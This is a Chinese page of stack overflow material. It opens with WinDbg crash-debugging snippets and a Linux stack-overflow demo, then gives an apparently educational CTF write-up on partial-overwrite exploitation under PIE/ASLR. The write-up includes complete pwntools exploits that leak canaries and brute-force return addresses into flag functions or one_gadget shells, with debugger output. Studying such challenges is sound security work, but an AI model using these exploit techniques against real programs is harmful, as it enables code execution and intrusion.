精华内容
下载资源
问答
  • 下面样例代码,实际不会导致在上一章场景介绍中提到问题,可以直接通过crash的栈查找到代码,本文只是通过这个例子来讲解如下场景分析思路: 如果栈溢出了,通过k命令却无法查找到函数调用。 #i

    场景介绍

    有时候当你收到一个dump后,大多数情况可以通过k命令查找到导致栈溢出的函数。但是本文要讲的是,曾经碰到过的栈溢出(stackoverflow), 却无法直接通过k命令查看到当前的函数调用栈。 下面将介绍一个简单的方法,找到导致栈溢出的函数。

    样例代码

    先声明下,因为产品的实际分析不能够通过网络分享。下面的样例代码,实际上不会导致在上一章场景介绍中提到的问题,可以直接通过crash的栈查找到代码,本文只是通过这个例子来讲解如下场景的分析思路: 如果栈溢出了,通过k命令却无法查找到函数调用栈。

    #include <iostream>
    
    void Func(const char* pcsPara1, const char* pcsPara2)
    {
    	char csTmpStr[1000] = "good";
    	std::cout << pcsPara1 << pcsPara2 << csTmpStr << std::endl;
    	Func(pcsPara1, pcsPara2);
    }
    
    int main()
    {
    	Func("Hello ", "StackOverflow ");
    	return 0;
    }
    

    样例分析

    采用Windbg对dump进行分析。
    第一步 通过!teb命令查看当前线程的基本信息, 大家应该都清楚,每一个线程都有自己的函数调用栈。这里着重看一下,这个线程的起始地址为StackBase (000000bfd6b00000), 栈的上限是StackLimit (000000bfd6a01000), 这里同样可以看出来栈是向低地址生长的,而且栈的大小大约为1MB.

    0:000> !teb
    TEB at 000000bfd69b4000
        ExceptionList:        0000000000000000
        StackBase:            000000bfd6b00000
        StackLimit:           000000bfd6a01000
        SubSystemTib:         0000000000000000
        FiberData:            0000000000001e00
        ArbitraryUserPointer: 0000000000000000
        Self:                 000000bfd69b4000
        EnvironmentPointer:   0000000000000000
        ClientId:             0000000000005fd8 . 0000000000000a98
        RpcHandle:            0000000000000000
        Tls Storage:          0000023ec056fdd0
        PEB Address:          000000bfd69b3000
        LastErrorValue:       0
        LastStatusValue:      c000003a
        Count Owned Locks:    0
        HardErrorMode:        0
    

    第二步 通过命令dps查看栈空间上值对应的符号信息。使用这个命令,是因为调用函数的时候会记录函数返回后要执行的下一条指令的地址,那么栈上就保留了函数的信息,通过这个命令就可以查找到对应的函数。(如果对函数调用过程还不熟悉的同学可以参考阅读<<你了解函数调用过程吗?>>)

    0:000> dps 000000bfd6a01000 000000bfd6b00000
    ......
    000000bf`d6afd148  00007ff6`5a461755 StackOverflow!Func+0xa5
    ......
    000000bf`d6afd588  00007ff6`5a461755 StackOverflow!Func+0xa5
    ......
    000000bf`d6afd9c8  00007ff6`5a461755 StackOverflow!Func+0xa5
    ......
    

    第三步,可以通过栈上的值对应的符号信息,查找到可能的函数调用过程,比如这个例子看到多处调用StackOverflow!Func, 则可以对相应的代码处进行审查,得知这是一个栈溢出问题。

    建议

    其实对于栈溢出来说,很多情况都是函数非正常的循环调用导致, 此时修复这个bug即可。但也有可能是函数的局部变量空间过大,函数调用层数深。比如在一些领域禁止使用在堆上分配/使用内存,很多时候只能在栈上去申请,这个时候提高栈空间的默认值(1M),如下图将栈空间调整为4M。
    在这里插入图片描述


    最后是个人微信公众号,文章CSDN和微信公众号都会发,欢迎一起讨论。
    在这里插入图片描述

    展开全文
  • 溢出和栈溢出

    千次阅读 2013-07-31 21:05:48
    所谓溢出广义就是超出范围,整数就有溢出,比如8字节无符号整数是0到...这个就是栈溢出,x被写到了不应该写地方。在特定编译模式,这个x内容就会覆盖f原来返回地址。也就是原本应该返回到调用位置f函数,返
    所谓溢出广义上就是超出范围,整数就有溢出,比如8字节无符号整数是0到255
    
    0 - 1就是下溢 255 + 1就是上溢
    
    说正题
    
    int f(int x)
    
    {
    
      int a[10];
    
      a[11] = x;
    
    }
    
    这个就是栈溢出,x被写到了不应该写的地方。在特定编译模式下,这个x的内容就会覆盖f原来的返回地址。也就是原本应该返回到调用位置的f函数,返回到了x指向的位置。一般情况下程序会就此崩溃。但是如果x被有意指向一段恶意代码,这段恶意代码就会被执行。
    
    堆溢出相对比较复杂,因为各种环境堆的实现都不完全相同。但是程序管理堆必须有额外的数据来标记堆的各种信息。堆内存如果发生上面那样的赋值的话就有可能破坏堆的逻辑结构。进而修改原本无法访问的数据。
    
    int f(char *s, int n)
    
    {
    
      char a[10];
    
      memcpy(a, s, n);
    
    }
    
    这个是栈溢出比较真实一点的例子,如果传入的数据长度大于10就会造成溢出,进而改变f的返回地址。只要事先在特定地址写入恶意代码,代码就会被执行。
    
    堆溢出执行恶意代码的一种情况是通过过长的数据破坏堆结构,使下次申请能得到保存某些特定函数指针的位置,然后进行修改。
    
    栈和堆溢出的一个共性就是第三方可以完全依靠提供特定数据实现代码级别的入侵。玩游戏的话可能知道PSP3000的破解,利用的就是PSP系统显示tiff文件时候的一个溢出漏洞。tiff文件内包含一段入侵代码,载入tiff文件的时候这段代码也会被载入,只不过这个时候各奔不可能被执行。但是tiff中的一部分数据是超长的,并且超长的部分包含了入侵代码的位置。当系统读取这部分数据的时候入侵代码就会被执行。
    展开全文
  • Linux下栈溢出

    2017-07-11 11:05:46
    堆相比,栈通常很小,在Linux,通过ulimit -s可以查看栈的大小。  所谓栈溢出,是缓冲区溢出的一种,本质是写入栈的数据超过栈的大小,使得数据写入其他单元,往往造成不可预期的后果,最常见的就是程序...

    1. 概述
        栈,
    就是那些由编译器在需要的时候分配,在不需要的时候自动清除的变量的存储区。里面的变量通常是局部变量、函数参数等;和堆相比,栈通常很小,在Linux下,通过ulimit -s可以查看栈的大小。

        所谓栈溢出,是缓冲区溢出的一种,本质上是写入栈的数据超过栈的大小,使得数据写入其他单元,往往造成不可预期的后果,最常见的就是程序崩溃。

    2. 实例
    一个栈溢出的程序:

    1. include <iostream>  
    2. using namespace std;  
    3.   
    4. //递归函数   
    5. void stack_test(int group)  
    6. {  
    7.     //占用栈内存,1M   
    8.         char a[1024*1024];  
    9.   
    10.     //递归调用   
    11.     group--;  
    12.         if(group > 0)  
    13.         {  
    14.                 cout << "stack  " << group << endl;  
    15.                 stack_test(group);  
    16.         }  
    17.   
    18. }  
    19.   
    20. int main()  
    21. {  
    22.     //函数层级   
    23.         int layer;  
    24.         cin >> layer;  
    25.   
    26.     //调用递归函数   
    27.         stack_test(layer);  
    28.   
    29.         return 0;  
    30. }  
    测试
    linux 2.6.9xenu_5-0-0-0下输入命令:
    $ ulimit -s
    10240
    表示栈内存限制10M

    编译运行程序:
    $ ./bin/test 
    15
    stack   14
    stack   13
    stack   12
    stack   11
    stack   10
    stack   9
    stack   8
    stack   7
    stack   6
    stack   5
    stack   4
    Segmentation fault (core dumped)

    core调试:
    $ gdb /home/coresave/core.test.1
    core.test.17380.1314809919  core.test.19889.1314811895  
    [wwww.linuxidc.com@linuxidc test]$ gdb ./bin/test /home/coresave/core.test.19889.1314811895       
    GNU gdb Red Hat Linux (6.3.0.0-1.96rh)
    Copyright 2004 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "x86_64-RedHat-linux-gnu"...Using host libthread_db library "/lib64/tls/libthread_db.so.1".

    Core was generated by `./bin/test'.
    Program terminated with signal 11, Segmentation fault.

    Reading symbols from /usr/lib64/libstdc++.so.6...done.
    Loaded symbols for /usr/lib64/libstdc++.so.6
    Reading symbols from /lib64/tls/libm.so.6...done.
    Loaded symbols for /lib64/tls/libm.so.6
    Reading symbols from /lib64/libgcc_s.so.1...done.
    Loaded symbols for /lib64/libgcc_s.so.1
    Reading symbols from /lib64/tls/libc.so.6...done.
    Loaded symbols for /lib64/tls/libc.so.6
    Reading symbols from /lib64/ld-linux-x86-64.so.2...done.
    Loaded symbols for /lib64/ld-linux-x86-64.so.2
    #0  0x0000000000400abc in stack_test (group=3) at /home/work/zhouxm/test/src/main.cpp:18
    18                      cout << "stack  " << group << endl;

    3. 分析
    原因:
    1)栈中大数组char a[1024*1024];
    2)递归函数

    两个信息:
    1)Program terminated with signal 11, Segmentation fault.
    Signal 11, or officially know as "segmentation fault", means that theprogram accessed a memory location that was not assigned. That'susually a bug in the program.

    2) core在 cout << "stack  " << group << endl;
    在栈溢出的时候,并不一定会马上core,这也是为啥你core的地方常常离出问题的代码很远。

    4. 解决

    1)在需要占用大内存的时候(例如,大数组),别偷懒,乖乖的用堆!
    2)尽量避免层次多的递归函数

    展开全文
  • 栈溢出技巧-

    2021-04-08 00:43:47
    栈溢出技巧-栈溢出技巧-中根据前面内容可以知道在开启ASLR+PIE后,每次加载地址是在一定范围随机变化,只不过由于内存页为0x1000空间大小限制加载后相对偏移不会变...

    栈溢出技巧-上

    栈溢出技巧-中

    根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。

    partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。

    另外,partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

    题目一

    2018年安恒杯中babypie题,因为wiki中给的不是一个二进制文件,因此自己重新编译。

    #include <unistd.h>
    #include <stdlib.h>
    void flag(){
        system("cat flag");
    }
    void vuln(){
        char buf[40];
        puts("Input your Name:");
        read(0, buf, 0x30);                       
        printf("Hello %s:\n", buf);
        read(0, buf, 0x60);    
    }
    int main(int argc, char const *argv[])
    {
        vuln();
        return 0;
    }
    
    pwn@pwn-PC:~/Desktop$ gcc -fpie -pie  -fstack-protector -o test-pie partial.c
    pwn@pwn-PC:~/Desktop$ checksec test-pie 
    [*] '/home/pwn/Desktop/test-pie'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    

    此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。

    可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决?首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符,而且printf 使用 %s 时, 遇到 \x00 字符才会结束输出,因此只需要把canary末尾字符覆盖成非 \x00 字符就可以利用printf("Hello %s:\n", buf)输出canary,然后再利用partial overwrite覆盖ret_addr控制程序的指令流,步骤如下:泄漏canary值

    from pwn import *
    context.arch = 'amd64'
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    offset = 0x28
    p = process('./test-pie')
    p.recvuntil("Name:\n")
    payload='a' * offset 
    gdb.attach(p)
    p.sendline(payload)
                        
    p.recvuntil('a' * offset)
    p.recv(1)
    canary = u64('\0' + p.recvn(7))
    print hex(canary)
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    [+] Starting local process './test-pie': pid 28293
    [DEBUG] Received 0x11 bytes:
        'Input your Name:\n'
    [DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb'
        file "./test-pie"
    [*] running in new terminal: /usr/bin/gdb -q  "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"
    [DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q  "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"']
    [+] Waiting for debugger: Done
    [DEBUG] Sent 0x29 bytes:
        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
    [DEBUG] Received 0x2f bytes:
        'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
    [DEBUG] Received 0xf bytes:
        00000000  77 05 28 c0  f3 64 57 20  69 4e d8 fc  7f 3a 0a     │w·(·│·dW │iN··│·:·│
        0000000f
    0x5764f3c028057700

    可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下:

    read(0, buf, 0x30)函数执行完成后:
    ───────────────────────────────────[ STACK ]─────────────────────────────────────────
    00:0000│ rax r8 rsp  0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')
    ... ↓
    05:0028│             0x7ffcd84e68f8 ◂— 0x5764f3c02805770a
    06:0030│ rbp         0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push   r15
    07:0038│             0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov    eax, 0
    ─────────────────────────────────────────────────────────────────────────────────
    pwndbg> x /18gx 0x7fff426083d0
    0x7ffcd84e68d0: 0x6161616161616161  0x6161616161616161
    0x7ffcd84e63e0: 0x6161616161616161  0x6161616161616161
    0x7ffcd84e63f0: 0x6161616161616161  0x5764f3c02805770a
    

    覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。

    pwndbg> disassemble flag
    Dump of assembler code for function flag:
       0x00005555555547f0 <+0>: push   rbp
       0x00005555555547f1 <+1>: mov    rbp,rsp
       0x00005555555547f4 <+4>: lea    rdi,[rip+0x139]        # 0x555555554934
       0x00005555555547fb <+11>:    call   0x555555554680 <system@plt>
       0x0000555555554800 <+16>:    nop
       0x0000555555554801 <+17>:    pop    rbp
       0x0000555555554802 <+18>:    ret    
    End of assembler dump.
    

    构造payload,覆盖ret_addr的末尾两个字节

    p.recvuntil(":\n")    
    payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
    p.send(payload)
    
    可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。
    ─────────────────────────────[ REGISTERS ]────────────────────────────────
     RAX  0xa4c9b736e3763700
     RBP  0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
     RSP  0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
     RIP  0x55cd0345386f ◂— xor    rax, qword ptr fs:[0x28]
    ──────────────────────────────[ DISASM ]─────────────────────────────────
     ► 0x55cd0345386f    xor    rax, qword ptr fs:[0x28]
       0x55cd03453878    je     0x55cd0345387f
        ↓
       0x55cd0345387f    leave  
       0x55cd03453880    ret    
    ───────────────────────────  ───[ STACK ]─────────────────────────────────
    00:0000│ rsi r8 rsp  0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    ... ↓
    05:0028│             0x7ffe773d1d98 ◂— 0xa4c9b736e3763700
    06:0030│ rbp         0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
    07:0038│             0x7ffe773d1da8 ◂— 0x55cd034547f0
    

    exp:

    from pwn import *
    context.arch = 'amd64'
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    offset = 0x28
    while True:
        try:    
            p = process('./test-pie')
            p.recvuntil("Name:\n")
            payload='a' * offset 
            # gdb.attach(p)
            p.sendline(payload)
            p.recvuntil('a' * offset)
            p.recv(1)
            canary = u64('\0' + p.recvn(7))
            print hex(canary)
            p.recvuntil(":\n")
                        
            payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
            p.send(payload)
            flag = p.recvall()
            if 'flag' in flag:
                exit(0)
        except Exception as e:
            p.close()
            print e
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    [+] Starting local process './test-pie': pid 17736
    [DEBUG] Received 0x11 bytes:
        'Input your Name:\n'
    [DEBUG] Sent 0x29 bytes:
        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
    ......
    [+] Receiving all data: Done (37B)
    [DEBUG] Received 0x25 bytes:
        'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'
    [*] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)
    [*] Stopped process './test-pie' (pid 17620
    

    总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。

    题目二

    2018年XNUCA中的gets题目

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __int64 v4; // [rsp+0h] [rbp-18h]
    
      gets((__int64)&v4, (__int64)a2, (__int64)a3);
      return 0LL;
    }
    
    pwn@pwn-PC:~/Desktop$ checksec gets 
    [*] '/home/pwn/Desktop/gets'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    依然没有PIE,但是开了ASLR保护
    

    只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。

    ps:
    one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。
    
    pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
    0x3f306 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x3f35a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xd695f execve("/bin/sh", rsp+0x60, environ)
    constraints:
      [rsp+0x60] == NULL
    

    可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。


    有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。

    就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getshell。那么就开始构造flag,因为gets函数会在末尾读入一个\x00的结束符,因此实际上覆盖后的地址是这样的0x7ffff700f306,但是这就面临一个问题。

    按照上面来说,如果直接覆盖返回地址

    那么覆盖成了0x7ffff700f306(严谨一点:0x7ffff7000306 - 0x7ffff700f306),那么计算出libc的加载地址为0x7ffff6fd0000<<0x7ffff7a3a000(严谨点:0x7ffff6fc1000 - 0x7ffff6fd0000),也就是说libc加载在这个范围内才可能碰撞到onegadget,但是因为偏移量不变的原因,libc加载在这个范围内,覆盖后的onegadget的地址依然偏小,永远是不可能碰撞到的。

    如果还是不理解,那继续看这个假设实验:假设我们不知道__libc_start_main在libc的偏移量,并且祈祷__libc_start_main与libc的基址相距地很远,并且假设一下几个地址成立: onegadge地址:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 (0x7ffff700f306-0x3f306) 此时__libc_start_main+240的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),这样才上述的地址的相对位置才有可能成立。

    此时__libc_start_main的(最小)偏移量为0x2FF10。现在去验证一下这个假设是否成立,只要真实的偏移量大于等于假设的偏移量,那么假设成立,查看__libc_start_main在libc中偏移量为0x201f0<0x2FF10,也就是说上述假设不成立。

    pwndbg> xinfo __libc_start_main
    Extended information for virtual address 0x7ffff7a5a1f0:
      Containing mapping:
        0x7ffff7a3a000     0x7ffff7bcf000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so
      Offset information:
             Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
             File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
          File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
             File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0
    

    一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。那么第二个地址_dl_init+139就有用了,将其覆盖为0x7ffff700f306,按照上面的方法看看是否可行。

    onegadge:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 此时_dl_init+139的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),此时_dl_init的(最小)偏移量(距离libc)为0x2FF75 libc和ld两者相距:0x39f000 (在加载的过程中,这个偏移是不变的) ld.so的加载地址:0x7ffff736f000 查看_dl_init真实的偏移量(在ld.so中)0xf8e0,距离libc的偏移是0x3ae8e0>0x2FF75,上述假设成立,此时_dl_init+139的地址为:0x7ffff7de896b(符合0x7ffff7xxxxxx形式)

    pwndbg> xinfo _dl_init
    Extended information for virtual address 0x7ffff7de88e0:
      Containing mapping:
        0x7ffff7dd9000     0x7ffff7dfc000 r-xp    23000 0      /usr/lib/x86_64-linux-gnu/ld-2.24.so
      Offset information:
             Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
             File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
          File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
             File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0
    

    也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。下面的操作就简单易懂了,解决怎么去覆盖的问题即可。相隔那么远,怎么在栈上移动?那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。

    pwndbg> x /10i 0x40059b
       0x40059b:    pop    rbp
       0x40059c:    pop    r12
       0x40059e:    pop    r13
       0x4005a0:    pop    r14
       0x4005a2:    pop    r15
       0x4005a4:    ret    
    

    移动的过程如下:

    因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行  只是没成功,然后就是一直跑,直到跑出shell为止。


    exp:

    from pwn import *
    
    # context.arch = 'amd64'
    # context.log_level = 'debug'
    # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    offset = 0x18
    
    while True:
        try:    
            p = process('./gets')
            payload='a' * offset + p64(0x40059B)
            payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B)
            payload += 'c' * 8 * 5 + '\x06\xa3'
    #         gdb.attach(p)
            p.sendline(payload)
            p.sendline('ls')
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue
    

    这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。



    题目三

    HITBCTF2017中的1000levels题目,梳理流程,函数有点多

    _BOOL8 __fastcall level(signed int a1){
      __int64 v2; // rax
      __int64 buf; // [rsp+10h] [rbp-30h]
      __int64 v4; // [rsp+18h] [rbp-28h]
      __int64 v5; // [rsp+20h] [rbp-20h]
      __int64 v6; // [rsp+28h] [rbp-18h]
      unsigned int v7; // [rsp+30h] [rbp-10h]
      unsigned int v8; // [rsp+34h] [rbp-Ch]
      unsigned int v9; // [rsp+38h] [rbp-8h]
      int i; // [rsp+3Ch] [rbp-4h]
      buf = 0LL;
      v4 = 0LL;
      v5 = 0LL;
      v6 = 0LL;
      if ( !a1 )
        return 1LL;
      if ( (unsigned int)level(a1 - 1) == 0 )
        return 0LL;
      v9 = rand() % a1;
      v8 = rand() % a1;
      v7 = v8 * v9;
      puts("====================================================");
      printf("Level %d\n", (unsigned int)a1);
      printf("Question: %d * %d = ? Answer:", v9, v8);
      for ( i = read(0, &buf, 0x400uLL); i & 7; ++i )
        *((_BYTE *)&buf + i) = 0;
      v2 = strtol((const char *)&buf, 0LL, 10);
      return v2 == v7;
    }
    
    pwn@pwn-PC:~/Desktop$ checksec 1000levels 
    [*] '/home/pwn/Desktop/1000levels'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?

    利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故,如果还是使用__libc_csu_init的gadget的话,需要先泄漏加载地址,此处换成vsystem里面的gadget)来移动0x238的距离进行覆盖末尾两位。但是仔细看一下程序流程发现还有一个更简单的办法, 我们上一个办法无非就是为了执行onegadget,但是在之前确定onegadget加载的地址,那么需要一个参照物,仔细看hint函数

    int hint(void)
    {
      signed __int64 v1; // [rsp+8h] [rbp-108h]
      int v2; // [rsp+10h] [rbp-100h]
      __int16 v3; // [rsp+14h] [rbp-FCh]
      if ( show_hint )
      {
        sprintf((char *)&v1, "Hint: %p\n", &system, &system);
      }
      else
      {
        v1 = 5629585671126536014LL;
        v2 = 1430659151;
        v3 = 78;
      }
      return puts((const char *)&v1);
    }
    

    无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令

    0x555555554cfb <hint()+11>     mov    rax, qword ptr [rip + 0x2012ce]
    0x555555554d02 <hint()+18>     mov    qword ptr [rbp - 0x110], rax
    

    将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有

    int go(void){
      int v1; // ST0C_4
      __int64 v2; // [rsp+0h] [rbp-120h]
      __int64 v3; // [rsp+0h] [rbp-120h]
      int v4; // [rsp+8h] [rbp-118h]
      __int64 v5; // [rsp+10h] [rbp-110h]
      signed __int64 v6; // [rsp+10h] [rbp-110h]
      signed __int64 v7; // [rsp+18h] [rbp-108h]
      __int64 v8; // [rsp+20h] [rbp-100h]
      puts("How many levels?");
      v2 = read_num();
      if ( v2 > 0 )
        v5 = v2;
      else
        puts("Coward");
      puts("Any more?");
      v3 = read_num();
      v6 = v5 + v3;
      if ( v6 > 0 ) {
        if ( v6 <= 999 ){
          v7 = v6;
        }
        else {
          puts("More levels than before!");
          v7 = 1000LL;
        }
        puts("Let's go!'");
        v4 = time(0LL);
        if ( (unsigned int)level(v7) != 0 )  {
          v1 = time(0LL);
          sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
          puts((const char *)&v8);
        }
        else   {
          puts("You failed.");
        }
        exit(0);
      }
      return puts("Coward");
    }
    

    v5和v6都是rbp-0x110,由于栈帧开辟的原理,main函数中的hint函数和go函数的的rbp应该是同一个地址,因此在执行完hint函数后,再去执行go函数,v5和v6中保存了system的地址,而且刚才说的栈溢出发生在level函数中,由于栈帧开辟的原理,level函数的栈帧在go函数的栈帧的低位置处,可以通过栈溢出和合适的ret的gadget去执行system函数,不过这有两个前提

    一、rbp-0x110的地址内容不会被覆盖;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,这看起来很难满足,继续看程序逻辑,会发现

    if ( v2 > 0 )
        v5 = v2;
    else
        puts("Coward");
    puts("Any more?");
    v3 = read_num();
    v6 = v5 + v3;
    

    也就说只要v2<=0,rbp-0x110就不会被覆盖,而且v6 = v5 + v3可以灵活运用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因为刚才页提到了最终都要往onegadget上靠,而且我们知道,无论怎么加载,偏移量始终是固定的。这样分析完后,思路就很明确了,显示构造onegadget_addr,然后利用栈溢出和合适的ret的gadget去执行onegadget。第一步得找到level返回地址和rbp-0x110的距离

    pwndbg> disassemble go
    Dump of assembler code for function _Z2gov:
       0x0000555555554b7c <+0>: push   rbp
       0x0000555555554b7d <+1>: mov    rbp,rsp
       0x0000555555554b80 <+4>: sub    rsp,0x120
       0x0000555555554b87 <+11>:    lea    rdi,[rip+0x506]        # 0x555555555094
       0x0000555555554b8e <+18>:    call   0x555555554900 <puts@plt>
       0x0000555555554b93 <+23>:    call   0x555555554b00 <_Z8read_numv>
       0x0000555555554b98 <+28>:    mov    QWORD PTR [rbp-0x120],rax
       0x0000555555554b9f <+35>:    mov    rax,QWORD PTR [rbp-0x120]
       0x0000555555554ba6 <+42>:    test   rax,rax
       0x0000555555554ba9 <+45>:    jg     0x555555554bb9 <_Z2gov+61>
       0x0000555555554bab <+47>:    lea    rdi,[rip+0x4f3]        # 0x5555555550a5
       0x0000555555554bb2 <+54>:    call   0x555555554900 <puts@plt>
       0x0000555555554bb7 <+59>:    jmp    0x555555554bc7 <_Z2gov+75>
